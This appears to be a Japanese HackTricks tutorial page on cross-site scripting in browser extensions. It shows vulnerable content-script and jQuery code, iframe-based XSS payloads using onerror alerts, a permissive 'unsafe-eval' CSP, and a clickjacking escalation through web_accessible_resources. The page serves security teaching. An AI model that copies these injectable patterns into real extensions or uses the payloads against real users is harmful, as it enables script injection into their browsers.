BrowExt - XSSの例
Reading time: 7 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Iframeを通じたクロスサイトスクリプティング(XSS)
このセットアップでは、コンテンツスクリプトが実装され、Iframeをインスタンス化し、Iframeのソースとしてクエリパラメータを含むURLを組み込んでいます:
chrome.storage.local.get("message", (result) => {
let constructedURL =
chrome.runtime.getURL("message.html") +
"?content=" +
encodeURIComponent(result.message) +
"&redirect=https://example.net/details"
frame.src = constructedURL
})
公開アクセス可能なHTMLページ、**message.html
**は、URLのパラメータに基づいてドキュメントボディにコンテンツを動的に追加するように設計されています:
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search)
let userContent = urlParams.get("content")
$(document.body).html(
`${userContent} <button id='detailBtn'>Details</button>`
)
$("#detailBtn").on("click", () => {
let destinationURL = urlParams.get("redirect")
chrome.tabs.create({ url: destinationURL })
})
})
悪意のあるスクリプトが敵のページで実行され、Iframeのソースのcontent
パラメータが変更されてXSSペイロードが導入されます。これは、Iframeのソースを有害なスクリプトを含むように更新することで達成されます:
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src
let baseURL = targetFrame.split("?")[0]
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>"
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`
document.querySelector("iframe").src = maliciousURL
}, 1000)
過度に許可されたコンテンツセキュリティポリシーは、次のようになります:
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
JavaScriptの実行を許可し、システムをXSS攻撃に対して脆弱にします。
XSSを引き起こす別のアプローチは、Iframe要素を作成し、そのソースを有害なスクリプトをcontent
パラメータとして含むように設定することです:
let newFrame = document.createElement("iframe")
newFrame.src =
"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>")
document.body.append(newFrame)
DOMベースのXSS + ClickJacking
この例は元の投稿の要約から取られました。
コアの問題は、**/html/bookmarks.html
にあるDOMベースのクロスサイトスクリプティング(XSS)脆弱性から生じます。問題のあるJavaScriptは、bookmarks.js
**の一部で、以下に詳述されています:
$("#btAdd").on("click", function () {
var bookmarkName = $("#txtName").val()
if (
$(".custom-button .label").filter(function () {
return $(this).text() === bookmarkName
}).length
)
return false
var bookmarkItem = $('<div class="custom-button">')
bookmarkItem.html('<span class="label">' + bookmarkName + "</span>")
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>')
bookmarkItem.attr("data-title", bookmarkName)
bookmarkItem.data("timestamp", new Date().getTime())
$("section.bookmark-container .existing-items").append(bookmarkItem)
persistData()
})
このスニペットは、txtName
入力フィールドから 値 を取得し、文字列連結を使用してHTMLを生成 し、それをjQueryの .append()
関数を使用してDOMに追加します。
通常、Chrome拡張機能のコンテンツセキュリティポリシー (CSP) はそのような脆弱性を防ぎます。しかし、‘unsafe-eval’ によるCSPの緩和 と jQueryのDOM操作メソッドの使用(これらはDOM挿入時にスクリプトを eval()
に渡すために globalEval()
を使用します)により、悪用は依然として可能です。
この脆弱性は重要ですが、その悪用は通常ユーザーの操作に依存します:ページを訪問し、XSSペイロードを入力し、「追加」ボタンをアクティブにします。
この脆弱性を強化するために、二次的な clickjacking 脆弱性が悪用されます。Chrome拡張機能のマニフェストは、広範な web_accessible_resources
ポリシーを示しています:
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
特に、/html/bookmarks.html
ページはフレーミングに対して脆弱であり、したがって clickjacking に対しても脆弱です。この脆弱性は、攻撃者のサイト内でページをフレーム化し、DOM要素でオーバーレイしてインターフェースを巧妙に再設計するために利用されます。この操作により、被害者は意図せずに基盤となる拡張機能と対話することになります。
参考文献
- https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/
- https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。